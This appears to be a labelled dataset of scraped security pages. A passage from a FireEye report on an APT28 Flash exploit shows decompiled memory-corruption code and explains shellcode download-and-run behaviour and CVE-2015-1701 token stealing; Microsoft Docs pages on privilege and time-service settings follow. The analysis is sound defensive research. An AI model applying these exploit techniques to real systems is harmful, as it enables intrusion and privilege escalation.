\xc2 \xc2 \xc2 \xc2 while (_local_2 < this._bp35) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 { \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 this._ok47[_local_2] = null; \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 _local_2 = (_local_2 + 0x02); \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 }; As the previous picture demonstrated, the followed Vector object\xe2\x80\x99s length field being overflowed as 0x80007fff, which enables the attacker to read/write arbitrary data within user space. Shellcode Shellcode is passed to the exploit from HTML in flashvars. The shellcode downloads the next stage payload, which is an executable passed in plaintext, to the temp directory with UrlDownloadToFileA, which it then runs with WinExec. Payload & C2 This exploit delivers a malware variant that shares characteristics with the APT28 backdoors CHOPSTICK and CORESHELL malware families, both described in our APT28 whitepaper.\xc2 The malware uses an RC4 encryption key that was previously used by the CHOPSTICK backdoor.\xc2 And the C2 messages include a checksum algorithm that resembles those used in CHOPSTICK backdoor communications.\xc2 In addition, the network beacon traffic for the new malware resembles those used by the CORESHELL backdoor.\xc2 Like CORESHELL, one of the beacons includes a process listing from the victim host.\xc2 And like CORESHELL, the new malware attempts to download a second-stage executable. One of the C2 locations for the new payload, 87.236.215[.]246, also hosts a suspected APT28 domain ssl-icloud[.]com.\xc2 The same subnet (87.236.215.0/24) also hosts several known or suspected APT28 domains, as seen in Table 1. The target firm is an international government entity in an industry vertical that aligns with known APT28 targeting. CVE-2015-1701 Exploit The payload contains an exploit for the unpatched local privilege escalation vulnerability CVE-2015-1701 in Microsoft Windows. The exploit uses CVE-2015-1701 to execute a callback in userspace. The callback gets the EPROCESS structures of the current process and the System process, and copies data from the System token into the token of the current process. Upon completion, the payload continues execution in usermode with the privileges of the System process. Because CVE-2015-3043 is already patched, this remote exploit will not succeed on a fully patched system. If an attacker wanted to exploit CVE-2015-1701, they would first have to be executing code on the victim\xe2\x80\x99s machine. Barring authorized access to the victim\xe2\x80\x99s machine, the attacker would have to find some other means, such as crafting a new Flash exploit, to deliver a CVE-2015-1701 payload. Microsoft is aware of CVE-2015-1701 and is working on a fix. CVE-2015-1701 does not affect Windows 8 and later. Acknowledgements Thank you to all of the contributors to this blog! The following people in FireEye: Dan Caselden, Yasir Khalid, James \xe2\x80\x9cTom\xe2\x80\x9d Bennett, GenWei Jiang, Corbin Souffrant, Joshua Homan, Jonathan Wrolstad, Chris Phillips, Darien Kindlund Microsoft & Adobe security teams \xc2 Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Create a token object (Windows 10) | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Create a token object 04/19/2017 2 minutes to read In this article Applies to Windows\xc2 10 Describes the best practices, location, values, policy management, and security considerations for the Create a token object security policy setting. Reference This policy setting determines which accounts a process can use to create a token, and which accounts it can then use to gain access to local resources when the process uses NtCreateToken() or other token-creation APIs. When a user logs on to the local device or connects to a remote device through a network, Windows builds the user\xe2\x80\x99s access token. Then the system examines the token to determine the level of the user's privileges. When you revoke a privilege, the change is immediately recorded, but the change is not reflected in the user's access token until the next time the user logs on or connects. Constant: SeCreateTokenPrivilege Possible values User-defined list of accounts Not Defined Best practices This user right is used internally by the operating system. Unless it is necessary, do not assign this user right to a user, group, or process other than Local System. Location Computer Configuration\\Windows Settings\\Security Settings\\Local Policies\\User Rights Assignment Default values This user right is used internally by the operating system. By default, it is not assigned to any user groups. The following table lists the actual and effective default policy values. Default values are also listed on the policy\xe2\x80\x99s property page. Server type or GPO Default value Default Domain Policy Not Defined Default Domain Controller Policy Not Defined Stand-Alone Server Default Settings Not Defined Domain Controller Effective Default Settings Local System Member Server Effective Default Settings Local System Client Computer Effective Default Settings Local System Policy management A restart of the device is not required for this policy setting to be effective. Any change to the user rights assignment for an account becomes effective the next time the owner of the account logs on. Group Policy Settings are applied in the following order through a Group Policy Object (GPO), which will overwrite settings on the local computer at the next Group Policy update: Local policy settings Site policy settings Domain policy settings OU policy settings When a local setting is greyed out, it indicates that a GPO currently controls that setting. Security considerations This section describes how an attacker might exploit a feature or its configuration, how to implement the countermeasure, and the possible negative consequences of countermeasure implementation. Vulnerability Caution:\xc2 \xc2 A user account that is given this user right has complete control over the system, and it can lead to the system being compromised. We highly recommend that you do not assign this right to any user accounts. Windows examines a user's access token to determine the level of the user's privileges. Access tokens are built when users log on to the local device or connect to a remote device over a network. When you revoke a privilege, the change is immediately recorded, but the change is not reflected in the user's access token until the next time the user logs on or connects. Users with the ability to create or modify tokens can change the level of access for any account on a computer if they are currently logged on. They could escalate their privileges or create a DoS condition. Countermeasure Do not assign the Create a token object user right to any users. Processes that require this user right should use the Local System account, which already includes it, instead of a separate user account that has this user right assigned. Potential impact None. Not Defined is the default configuration. Related topics User Rights Assignment Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Replace a process level token (Windows 10) | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Replace a process level token 04/19/2017 2 minutes to read In this article Applies to Windows\xc2 10 Describes the best practices, location, values, policy management, and security considerations for the Replace a process level token security policy setting. Reference This policy setting determines which parent processes can replace the access token that is associated with a child process. Specifically, the Replace a process level token setting determines which user accounts can call the CreateProcessAsUser() application programming interface (API) so that one service can start another. An example of a process that uses this user right is Task Scheduler, where the user right is extended to any processes that can be managed by Task Scheduler. An access token is an object that describes the security context of a process or thread. The information in a token includes the identity and privileges of the user account that is associated with the process or thread. With this user right, every child process that runs on behalf of this user account would have its access token replaced with the process level token. Constant: SeAssignPrimaryTokenPrivilege Possible values User-defined list of accounts Defaults Not defined Best practices For member servers, ensure that only the Local Service and Network Service accounts have the Replace a process level token user right. Location Computer Configuration\\Windows Settings\\Security Settings\\Local Policies\\User Rights Assignment Default values By default this setting is Network Service and Local Service on domain controllers and on stand-alone servers. The following table lists the actual and effective default policy values for the most recent supported versions of Windows. Default values are also listed on the policy\xe2\x80\x99s property page. Server type or GPO Default value Default Domain Policy Not defined Default Domain Controller Policy Network Service Local Service Stand-Alone Server Default Settings Network Service Local Service Domain Controller Effective Default Settings Network Service Local Service Member Server Effective Default Settings Network Service Local Service Client Computer Effective Default Settings Network Service Local Service Policy management This section describes features, tools, and guidance to help you manage this policy. A restart of the device is not required for this policy setting to be effective. Any change to the user rights assignment for an account becomes effective the next time the owner of the account logs on. Group Policy Settings are applied in the following order through a Group Policy Object (GPO), which will overwrite settings on the local computer at the next Group Policy update: Local policy settings Site policy settings Domain policy settings OU policy settings When a local setting is greyed out, it indicates that a GPO currently controls that setting. Security considerations This section describes how an attacker might exploit a feature or its configuration, how to implement the countermeasure, and the possible negative consequences of countermeasure implementation. Vulnerability Users with the Replace a process level token user right can start processes as another user if they know the user\xe2\x80\x99s credentials. Countermeasure For member servers, ensure that only the Local Service and Network Service accounts have the Replace a process level token user right. Potential impact On most computers, restricting the Replace a process level token user right to the Local Service and the Network Service built-in accounts is the default configuration, and there is no negative impact. However, if you have installed optional components such as ASP.NET or IIS, you may need to assign the Replace a process level token user right to additional accounts. For example, IIS requires that the Service, Network Service, and IWAM_ accounts be explicitly granted this user right. Related topics User Rights Assignment Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Windows Time Service Tools and Settings | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Windows Time Service Tools and Settings 10/16/2018 27 minutes to read +3 In this article Applies to: Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows 10 or later In this topic, you learn about tools and settings for Windows Time service (W32Time). If you only want to synchronize time for a domain-joined client computer, see Configure a client computer for automatic domain time synchronization. For additional topics about how to configure Windows Time service, see Where to Find Windows Time Service Configuration Information. Caution You should not use the Net time command to configure or set time when the Windows Time service is running. Also, on older computers that run Windows XP or earlier, the command Net time /querysntp displays the name of a Network Time Protocol (NTP) server with which a computer is configured to synchronize, but that NTP server is used only when the computer's time client is configured as NTP or AllSync. That command has since been deprecated. Most domain member computers have a time client type of NT5DS, which means that they synchronize time from the domain hierarchy. The only typical exception to this is the domain controller that functions as the primary domain controller (PDC) emulator operations master of the forest root domain, which is usually configured to synchronize time with an external time source. To view the time client configuration of a computer, run the W32tm /query /configuration command from an elevated Command Prompt in starting in Windows Server 2008, and Windows Vista, and read the Type line in the command output. For more information, see How Windows Time Service Works. You can run the command reg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\Parameters and read the value of NtpServer in the command output. Important Prior to Windows Server 2016, the W32Time service was not designed to meet time-sensitive application needs. However, updates to Windows Server 2016 now allow you to implement a solution for 1ms accuracy in your domain. See Windows 2016 Accurate Time and Support boundary to configure the Windows Time service for high-accuracy environments for more information. Windows Time Service Tools The following tools are associated with the Windows Time service. W32tm.exe: Windows Time Category This tool is installed as part of Windows XP, Windows Vista, Windows 7 , Windows Server 2003, Windows Server 2003 R2, Windows Server 2008 , and Windows Server 2008 R2 default installations. Version compatibility This tool works on Windows XP, Windows Vista, Windows 7 , Windows Server 2003, Windows Server 2003 R2, Windows Server 2008 , and Windows Server 2008 R2 default installations. W32tm.exe is used to configure Windows Time service settings. It can also be used to diagnose problems with the time service. W32tm.exe is the preferred command line tool for configuring, monitoring, or troubleshooting the Windows Time service. The following tables describe the parameters that are used with W32tm.exe. W32tm.exe Primary Parameters Parameter Description W32tm /? W32tm command line help W32tm /register Registers the time service to run as a service and adds default configuration to the registry. W32tm /unregister Unregisters the time service and removes all configuration information from the registry. w32tm /monitor [/domain:] [/computers:[,[,...]]] [/threads:] domain - specifies which domain to monitor. If no domain name is given, or neither the domain nor computers option is specified, the default domain is used. This option might be used more than once. computers - monitors the given list of computers. Computer names are separated by commas, with no spaces. If a name is prefixed with a '*', it is treated as a PDC. This option might be used more than once. threads - specifies the number of computers to analyze simultaneously. The default value is 3. Allowed range is 1-50. w32tm /ntte Convert an NT system time, in (10^-7)s intervals from 0h 1-Jan 1601, into a readable format. w32tm /ntpte Convert an NTP time, in (2^-32)s intervals from 0h 1-Jan 1900, into a readable format. w32tm /resync [/computer:] [/nowait] [/rediscover] [/soft] Tells a computer that it should resynchronize its clock as soon as possible, throwing out all accumulated error statistics. computer: - Specifies the computer that should resynchronize. If not specified, the local computer will resynchronize. nowait - do not wait for the resynchronize to occur; return immediately. Otherwise, wait for the resynchronize to complete before returning. rediscover - Redetect the network configuration and rediscover network sources, then resynchronize. soft - resynchronize using existing error statistics. Not useful, provided for compatibility. w32tm /stripchart /computer: [/period:] [/dataonly] [/samples:] [/rdtsc] Display a strip chart of the offset between this computer and another computer. computer: - the computer to measure the offset against. period: - the time between samples, in seconds. The default is 2s. dataonly - display only the data without graphics. samples: - collect samples, then stop. If not specified, samples will be collected until Ctrl+C is pressed. rdtsc: for each sample, this option prints comma separated values along with the headers RdtscStart, RdtscEnd, FileTime, RoundtripDelay, NtpOffset instead of the text graphic. RdtscStart \xe2\x80\x93 RDTSC (Read TimeStamp Counter) value collected just before the NTP request was generated. RdtscEnd \xe2\x80\x93 RDTSC (Read TimeStamp Counter) value collected just after the NTP response was received and processed. FileTime \xe2\x80\x93 Local FILETIME value used in the NTP request. RoundtripDelay \xe2\x80\x93 Time elapsed in seconds between generating the NTP request and processing the received NTP response, computed as per NTP roundtrip computations. NTPOffset \xe2\x80\x93 Time offset in seconds between the local machine and the NTP server, computed as per NTP offset computations. w32tm /config [/computer:] [/update] [/manualpeerlist:] [/syncfromflags:] [/LocalClockDispersion:] [/reliable:(YES|NO)] [/largephaseoffset:] computer: - adjusts the configuration of . If not specified, the default is the local computer. update - notifies the time service that the configuration has changed, causing the changes to take effect. manualpeerlist: - sets the manual peer list to , which is a space-delimited list of DNS and/or IP addresses. When specifying multiple peers, this option must be enclosed in quotes. syncfromflags: - sets what sources the NTP client should synchronize from. should be a comma separated list of these keywords (not case sensitive): MANUAL - include peers from the manual peer list. DOMHIER - synchronize from a domain controller (DC) in the domain hierarchy. LocalClockDispersion: - configures the accuracy of the internal clock that W32Time will assume when it can't acquire time from its configured sources. reliable:(YES|NO) - set whether this computer is a reliable time source. This setting is only meaningful on domain controllers. YES - this computer is a reliable time service. NO - this computer is not a reliable time service. largephaseoffset: - sets the time difference between local and network time which W32Time will consider a spike. w32tm /tz Display the current time zone settings. w32tm /dumpreg [/subkey:] [/computer:] Display the values associated with a given registry key. The default key is HKLM\\System\\CurrentControlSet\\Services\\W32Time (the root key for the time service). subkey: - displays the values associated with subkey of the default key. computer: - queries registry settings for computer w32tm /query [/computer:] {/source | /configuration | /peers | /status} [/verbose] This parameter was first made available in the Windows Time client versions of Windows Vista, and Windows Server 2008 . Display a computer's Windows Time service information. computer: - Query the information of . If not specified, the default value is the local computer. Source - Display the time source. Configuration - Display the configuration of run time and where the setting comes from. In verbose mode, display the undefined or unused setting too. peers - Display a list of peers and their status. status - Display Windows Time service status. verbose - Set the verbose mode to display more information. w32tm /debug {/disable | {/enable /file: /size: /entries: [/truncate]}} This parameter was first made available in the Windows Time client versions of Windows Vista, and Windows Server 2008 . Enable or disable the local computer Windows Time service private log. disable - Disable the private log. enable - Enable the private log. - file: - Specify the absolute file name. - size: - Specify the maximum size for circular logging. - entries: - Contains a list of flags, specified by number and separated by commas, that specify the types of information that should be logged. Valid numbers are 0 to 300. A range of numbers is valid, in addition to single numbers, such as 0-100,103,106. Value 0-300 is for logging all information. truncate - Truncate the file if it exists. For more information about W32tm.exe, see Help and Support Center in Windows XP, Windows Vista, Windows 7 , Windows Server 2003, Windows Server 2003 R2, Windows Server 2008 , and Windows Server 2008 R2. Windows Time Service Registry Entries The following registry entries are associated with the Windows Time service. This information is provided as a reference for use in troubleshooting or verifying that the required settings are applied. It is recommended that you do not directly edit the registry unless there is no other alternative. Modifications to the registry are not validated by the registry editor or by Windows before they are applied, and as a result, incorrect values can be stored. This can result in unrecoverable errors in the system. When possible, use Group Policy or other Windows tools, such as Microsoft Management Console (MMC), to accomplish tasks rather than editing the registry directly. If you must edit the registry, use extreme caution. Warning Some of the preset values that are configured in the System Administrative template file (System.adm) for the Group Policy object (GPO) settings are different from the corresponding default registry entries. If you plan to use a GPO to configure any Windows Time setting, be sure that you review Preset values for the Windows Time service Group Policy settings are different from the corresponding Windows Time service registry entries in Windows Server 2003. This issue applies to Windows Server 2008 R2 , Windows Server 2008 , Windows Server 2003 R2, and Windows Server 2003. Many registry entries for the Windows Time service are the same as the Group Policy setting of the same name. The Group Policy settings correspond to the registry entries of the same name located in: HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\ There are several registry keys at this registry location. The Windows Time settings are stored in values across all of these keys: Parameters Config NtpClient NtpServer Many of the values in the W32Time section of the registry are used internally by W32Time to store information. These values should not be manually changed at any time. Do not modify any of the settings in this section unless you are familiar with the setting and are certain that the new value will work as expected. The following registry entries are located under: HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time When you create a policy, the settings are configured in the following location, which does not take precedence over the next location: HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\W32time The W32time key is created with the policy. When you remove the policy, then this key is also removed. The other default location: HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32time Some of the parameters are stored in clock ticks in the registry and some are in seconds. To convert the time from clock ticks to seconds: 1 minute = 60 sec 1 sec = 1000 ms 1 ms = 10,000 clock ticks on a Windows system, as described at DateTime.Ticks Property. For example, 5 minutes would become 5*60*1000*10000 = 3000000000 clock ticks. All versions include Windows 7, Windows 8, Windows 10, Windows Server 2008 , and Windows Server 2008 R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016. Some entries are only availalbe on newer Windows versions. HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\Parameters Registry Entry Version Description AllowNonstandardModeCombinations All Entry indicates that non-standard mode combinations are allowed in synchronization between peers. The default value for domain members is 1. The default value for stand-alone clients and servers is 1. NtpServer All Entry specifies a space-delimited list of peers from which a computer obtains time stamps, consisting of one or more DNS names or IP addresses per line. Each DNS name or IP address listed must be unique. Computers connected to a domain must synchronize with a more reliable time source, such as the official U.S. time clock. 0x01 SpecialInterval 0x02 UseAsFallbackOnly 0x04 SymmetricActive - For more information about this mode, see Windows Time Server: 3.3 Modes of Operation. 0x08 Client There is no default value for this registry entry on domain members. The default value on stand-alone clients and servers is time.windows.com,0x1. Note: For more information on available NTP Servers, see Microsoft Knowledge Base article 262680 - A list of the Simple Network Time Protocol (SNTP) time servers that are available on the Internet ServiceDll All Entry is maintained by W32Time. It contains reserved data that is used by the Windows operating system, and any changes to this setting can cause unpredictable results. The default location for this DLL on both domain members and stand-alone clients and servers is %windir%\\System32\\W32Time.dll. ServiceMain All Entry is maintained by W32Time. It contains reserved data that is used by the Windows operating system, and any changes to this setting can cause unpredictable results. The default value on domain members is SvchostEntry_W32Time. The default value on stand-alone clients and servers is SvchostEntry_W32Time. "" Type All Entry indicates which peers to accept synchronization from: NoSync. The time service does not synchronize with other sources. NTP. The time service synchronizes from the servers specified in the NtpServer. registry entry. NT5DS. The time service synchronizes from the domain hierarchy. AllSync. The time service uses all the available synchronization mechanisms. The default value on domain members is NT5DS. The default value on stand-alone clients and servers is NTP. HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\Config Registry Entry Version Description AnnounceFlags All Entry controls whether this computer is marked as a reliable time server. A computer is not marked as reliable unless it is also marked as a time server. - 0x00 Not a time server - 0x01 Always time server - 0x02 Automatic time server - 0x04 Always reliable time server - 0x08 Automatic reliable time server The default value for domain members is 10. The default value for stand-alone clients and servers is 10. EventLogFlags All Entry controls the events that the time service logs. - Time Jump: 0x1 - Source Change: 0x2 The default value on domain members is 2. The default value on stand-alone clients and servers is 2. FrequencyCorrectRate All Entry controls the rate at which the clock is corrected. If this value is too small, the clock is unstable and overcorrects. If the value is too large, the clock takes a long time to synchronize. The default value on domain members is 4. The default value on stand-alone clients and servers is 4. Note that 0 is an invalid value for the FrequencyCorrectRate registry entry. On Windows Server 2003, Windows Server 2003 R2, Windows Server 2008 , and Windows Server 2008 R2 computers, if the value is set to 0 the Windows Time service will automatically change it to 1. HoldPeriod All Entry controls the period of time for which spike detection is disabled in order to bring the local clock into synchronization quickly. A spike is a time sample indicating that time is off a number of seconds, and is usually received after good time samples have been returned consistently. The default value on domain members is 5. The default value on stand-alone clients and servers is 5. LargePhaseOffset All Entry specifies that a time offset greater than or equal to this value in 10-7 seconds is considered a spike. A network disruption such as a large amount of traffic might cause a spike. A spike will be ignored unless it persists for a long period of time. The default value on domain members is 50000000. The default value on stand-alone clients and servers is 50000000. LastClockRate All Entry is maintained by W32Time. It contains reserved data that is used by the Windows operating system, and any changes to this setting can cause unpredictable results. The default value on domain members is 156250. The default value on stand-alone clients and servers is 156250. LocalClockDispersion All Entry controls the dispersion (in seconds) that you must assume when the only time source is the built-in CMOS clock. The default value on domain members is 10. The default value on stand-alone clients and servers is 10. MaxAllowedPhaseOffset All Entry specifies the maximum offset (in seconds) for which W32Time attempts to adjust the computer clock by using the clock rate. When the offset exceeds this rate, W32Time sets the computer clock directly. The default value for domain members is 300. The default value for stand-alone clients and servers is 1. See below for more information. MaxClockRate All Entry is maintained by W32Time. It contains reserved data that is used by the Windows operating system, and any changes to this setting can cause unpredictable results. The default value for domain members is 155860. The default value for stand-alone clients and servers is 155860. MaxNegPhaseCorrection All Entry specifies the largest negative time correction in seconds that the service makes. If the service determines that a change larger than this is required, it logs an event instead. Special case: 0xFFFFFFFF means always make time correction. The default value for domain members is 0xFFFFFFFF. The default value for stand-alone clients and servers is 54,000 (15 hrs). MaxPollInterval All Entry specifies the largest interval, in log2 seconds, allowed for the system polling interval. Note that while a system must poll according to the scheduled interval, a provider can refuse to produce samples when requested to do so. The default value for domain controllers is 10. The default value for domain members is 15. The default value for stand-alone clients and servers is 15. MaxPosPhaseCorrection All Entry specifies the largest positive time correction in seconds that the service makes. If the service determines that a change larger than this is required, it logs an event instead. Special case: 0xFFFFFFFF means always make time correction. The default value for domain members is 0xFFFFFFFF. The default value for stand-alone clients and servers is 54,000 (15 hrs). MinClockRate All Entry is maintained by W32Time. It contains reserved data that is used by the Windows operating system, and any changes to this setting can cause unpredictable results. The default value for domain members is 155860. The default value for stand-alone clients and servers is 155860. MinPollInterval All Entry specifies the smallest interval, in log2 seconds, allowed for the system polling interval. Note that while a system does not request samples more frequently than this, a provider can produce samples at times other than the scheduled interval. The default value for domain controllers is 6. The default value for domain members is 10. The default value for stand-alone clients and servers is 10. PhaseCorrectRate All Entry controls the rate at which the phase error is corrected. Specifying a small value corrects the phase error quickly, but might cause the clock to become unstable. If the value is too large, it takes a longer time to correct the phase error. The default value on domain members is 1. The default value on stand-alone clients and servers is 7. Note: 0 is an invalid value for the PhaseCorrectRate registry entry. On Windows Server 2003, Windows Server 2003 R2, Windows Server 2008 , and Windows Server 2008 R2 computers, if the value is set to 0, the Windows Time service automatically changes it to 1. PollAdjustFactor All Entry controls the decision to increase or decrease the poll interval for the system. The larger the value, the smaller the amount of error that causes the poll interval to be decreased. The default value on domain members is 5. The default value on stand-alone clients and servers is 5. SpikeWatchPeriod All Entry specifies the amount of time that a suspicious offset must persist before it is accepted as correct (in seconds). The default value on domain members is 900. The default value on stand-alone clients and workstations is 900. TimeJumpAuditOffset All An unsigned integer that indicates the time jump audit threshold, in seconds. If the time service adjusts the local clock by setting the clock directly, and the time correction is more than this value, then the time service logs an audit event. UpdateInterval All Entry specifies the number of clock ticks between phase correction adjustments. The default value for domain controllers is 100. The default value for domain members is 30,000. The default value for stand-alone clients and servers is 360,000. NOTE: Zero is an invalid value for the UpdateInterval registry entry. On computers running Windows Server 2003, Windows Server 2003 R2, Windows Server 2008 , and Windows Server 2008 R2 , if the value is set to 0 the Windows Time service automatically changes it to 1. The following three registry entries are not a part of the W32Time default configuration but can be added to the registry to obtain increased logging capabilities. The information logged to the System Event log can be modified by changing value for the EventLogFlags setting in the Group Policy Object Editor. By default, the time service creates a log in Event Viewer every time that it switches to a new time source. WARNING: Some of the preset values that are configured in the System Administrative template file (System.adm) for the Group Policy object (GPO) settings are different from the corresponding default registry entries. If you plan to use a GPO to configure any Windows Time setting, be sure that you review Preset values for the Windows Time service Group Policy settings are different from the corresponding Windows Time service registry entries in Windows Server 2003. This issue applies to Windows Server 2008 R2, Windows Server 2008, Windows Server 2003 R2, and Windows Server 2003. UtilizeSslTimeData Post Windows 10 build 1511 Entry of 1 indicates that the W32Time will use multiple SSL timestamps to Seed a clock that is grossly inaccurate. The following registry entries must be added in order to enable W32Time logging: Registry Entry Version Description FileLogEntries All Entry controls the amount of entries created in the Windows Time log file. The default value is none, which does not log any Windows Time activity. Valid values are 0 to 300. This value does not affect the event log entries normally created by Windows Time FileLogName All Entry controls the location and file name of the Windows Time log. The default value is blank, and should not be changed unless FileLogEntries is changed. A valid value is a full path and file name that Windows Time will use to create the log file. This value does not affect the event log entries normally created by Windows Time. FileLogSize All Entry controls the circular logging behavior of Windows Time log files. When FileLogEntries and FileLogName are defined, Entry defines the size, in bytes, to allow the log file to reach before overwriting the oldest log entries with new entries. Please use 1000000 or larger value for this setting. This value does not affect the event log entries normally created by Windows Time. HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpClient Registry Entry Version Description AllowNonstandardModeCombinations All Entry indicates that non-standard mode combinations are allowed in synchronization between peers. The default value for domain members is 1. The default value for stand-alone clients and servers is 1. CompatibilityFlags All Entry specifies the following compatibility flags and values: - DispersionInvalid: 0x00000001 - IgnoreFutureRefTimeStamp: 0x00000002 - AutodetectWin2K: 0x80000000 - AutodetectWin2KStage2: 0x40000000 The default value for domain members is 0x80000000. The default value for stand-alone clients and servers is 0x80000000. CrossSiteSyncFlags All Entry determines whether the service chooses synchronization partners outside the domain of the computer. The options and values are: - None: 0 - PdcOnly: 1 - All: 2 This value is ignored if the NT5DS value is not set. The default value for domain members is 2. The default value for stand-alone clients and servers is 2. DllName All Entry specifies the location of the DLL for the time provider. The default location for this DLL on both domain members and stand-alone clients and servers is %windir%\\System32\\W32Time.dll. Enabled All Entry indicates if the NtpClient provider is enabled in the current Time Service. Yes 1 No 0 The default value on domain members is 1. The default value on stand-alone clients and servers is 1. EventLogFlags All Entry specifies the events logged by the Windows Time service. 0x1 reachability changes 0x2 large sample skew (This is applicable to Windows Server 2003, Windows Server 2003 R2, Windows Server 2008 , and Windows Server 2008 R2 only) The default value on domain members is 0x1. The default value on stand-alone clients and servers is 0x1. InputProvider All Entry indicates whether to enable the NtpClient as an InputProvider, which obtains time information from the NtpServer. The NtpServer is a time server that responds to client time requests on the network by returning time samples that are useful for synchronizing the local clock. Yes = 1 No = 